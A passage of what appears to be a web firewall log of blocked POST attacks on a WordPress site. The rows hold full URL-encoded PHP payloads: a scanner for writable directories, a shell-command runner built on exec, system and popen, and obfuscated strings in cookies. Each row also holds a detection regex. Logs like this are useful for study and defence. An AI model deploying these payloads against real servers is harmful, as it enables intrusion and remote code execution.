Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3362\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nIMAhJp=eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));"]
["2026-05-12 13:24:58","121.200.216.56","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> tj:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27listca_fornew%27%2C%27rss_folders%27%2C%27ConfigSchema%27%2C%27commonhtml%27%2C%27overlib.cfg%27%2C%27group_pricing%27%2C%27gc_details%27%2C%27Duplicate%27%2C%27Extension%27%2C%27vote2.tpl%27%2C%27Message.class%27%2C%27authentication%27%2C%27optionGenerator%27%2C%27RenameFolder%27%2C%27abt_course_sci%27%2C%27sp_feedgenerator%27%2C%27catselector%27%2C%27homeOct222010%27%2C%27italian.lng%27%2C%27googleshipping%27%2C%27default_comment%27%2C%27mysqli.class%27%2C%27theme_portfolio%27%2C%27hungarian%27%2C%27beginedit5%27%2C%27index_flv%27%2C%27config_ads%27%2C%27validation%27%2C%27cache_post%27%2C%27testoci8cursor%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqTbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\ncontent-length:3333\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\ntj=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27listca_fornew%27%2C%27rss_folders%27%2C%27ConfigSchema%27%2C%27commonhtml%27%2C%27overlib.cfg%27%2C%27group_pricing%27%2C%27gc_details%27%2C%27Duplicate%27%2C%27Extension%27%2C%27vote2.tpl%27%2C%27Message.class%27%2C%27authentication%27%2C%27optionGenerator%27%2C%27RenameFolder%27%2C%27abt_course_sci%27%2C%27sp_feedgenerator%27%2C%27catselector%27%2C%27homeOct222010%27%2C%27italian.lng%27%2C%27googleshipping%27%2C%27default_comment%27%2C%27mysqli.class%27%2C%27theme_portfolio%27%2C%27hungarian%27%2C%27beginedit5%27%2C%27index_flv%27%2C%27config_ads%27%2C%27validation%27%2C%27cache_post%27%2C%27testoci8cursor%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 13:25:40","217.217.254.45","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ph:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27listca_fornew%27%2C%27rss_folders%27%2C%27ConfigSchema%27%2C%27commonhtml%27%2C%27overlib.cfg%27%2C%27group_pricing%27%2C%27gc_details%27%2C%27Duplicate%27%2C%27Extension%27%2C%27vote2.tpl%27%2C%27Message.class%27%2C%27authentication%27%2C%27optionGenerator%27%2C%27RenameFolder%27%2C%27abt_course_sci%27%2C%27sp_feedgenerator%27%2C%27catselector%27%2C%27homeOct222010%27%2C%27italian.lng%27%2C%27googleshipping%27%2C%27default_comment%27%2C%27mysqli.class%27%2C%27theme_portfolio%27%2C%27hungarian%27%2C%27beginedit5%27%2C%27index_flv%27%2C%27config_ads%27%2C%27validation%27%2C%27cache_post%27%2C%27testoci8cursor%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\ncontent-length:3333\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpTtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\n\nph=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27listca_fornew%27%2C%27rss_folders%27%2C%27ConfigSchema%27%2C%27commonhtml%27%2C%27overlib.cfg%27%2C%27group_pricing%27%2C%27gc_details%27%2C%27Duplicate%27%2C%27Extension%27%2C%27vote2.tpl%27%2C%27Message.class%27%2C%27authentication%27%2C%27optionGenerator%27%2C%27RenameFolder%27%2C%27abt_course_sci%27%2C%27sp_feedgenerator%27%2C%27catselector%27%2C%27homeOct222010%27%2C%27italian.lng%27%2C%27googleshipping%27%2C%27default_comment%27%2C%27mysqli.class%27%2C%27theme_portfolio%27%2C%27hungarian%27%2C%27beginedit5%27%2C%27index_flv%27%2C%27config_ads%27%2C%27validation%27%2C%27cache_post%27%2C%27testoci8cursor%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 13:26:08","102.209.21.218","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> VL:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27listca_fornew%27%2C%27rss_folders%27%2C%27ConfigSchema%27%2C%27commonhtml%27%2C%27overlib.cfg%27%2C%27group_pricing%27%2C%27gc_details%27%2C%27Duplicate%27%2C%27Extension%27%2C%27vote2.tpl%27%2C%27Message.class%27%2C%27authentication%27%2C%27optionGenerator%27%2C%27RenameFolder%27%2C%27abt_course_sci%27%2C%27sp_feedgenerator%27%2C%27catselector%27%2C%27homeOct222010%27%2C%27italian.lng%27%2C%27googleshipping%27%2C%27default_comment%27%2C%27mysqli.class%27%2C%27theme_portfolio%27%2C%27hungarian%27%2C%27beginedit5%27%2C%27index_flv%27%2C%27config_ads%27%2C%27validation%27%2C%27cache_post%27%2C%27testoci8cursor%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIxjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:3333\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\n\nVL=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27listca_fornew%27%2C%27rss_folders%27%2C%27ConfigSchema%27%2C%27commonhtml%27%2C%27overlib.cfg%27%2C%27group_pricing%27%2C%27gc_details%27%2C%27Duplicate%27%2C%27Extension%27%2C%27vote2.tpl%27%2C%27Message.class%27%2C%27authentication%27%2C%27optionGenerator%27%2C%27RenameFolder%27%2C%27abt_course_sci%27%2C%27sp_feedgenerator%27%2C%27catselector%27%2C%27homeOct222010%27%2C%27italian.lng%27%2C%27googleshipping%27%2C%27default_comment%27%2C%27mysqli.class%27%2C%27theme_portfolio%27%2C%27hungarian%27%2C%27beginedit5%27%2C%27index_flv%27%2C%27config_ads%27%2C%27validation%27%2C%27cache_post%27%2C%27testoci8cursor%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 13:27:55","107.155.87.193","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> hP:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27listca_fornew%27%2C%27rss_folders%27%2C%27ConfigSchema%27%2C%27commonhtml%27%2C%27overlib.cfg%27%2C%27group_pricing%27%2C%27gc_details%27%2C%27Duplicate%27%2C%27Extension%27%2C%27vote2.tpl%27%2C%27Message.class%27%2C%27authentication%27%2C%27optionGenerator%27%2C%27RenameFolder%27%2C%27abt_course_sci%27%2C%27sp_feedgenerator%27%2C%27catselector%27%2C%27homeOct222010%27%2C%27italian.lng%27%2C%27googleshipping%27%2C%27default_comment%27%2C%27mysqli.class%27%2C%27theme_portfolio%27%2C%27hungarian%27%2C%27beginedit5%27%2C%27index_flv%27%2C%27config_ads%27%2C%27validation%27%2C%27cache_post%27%2C%27testoci8cursor%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-length:3333\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 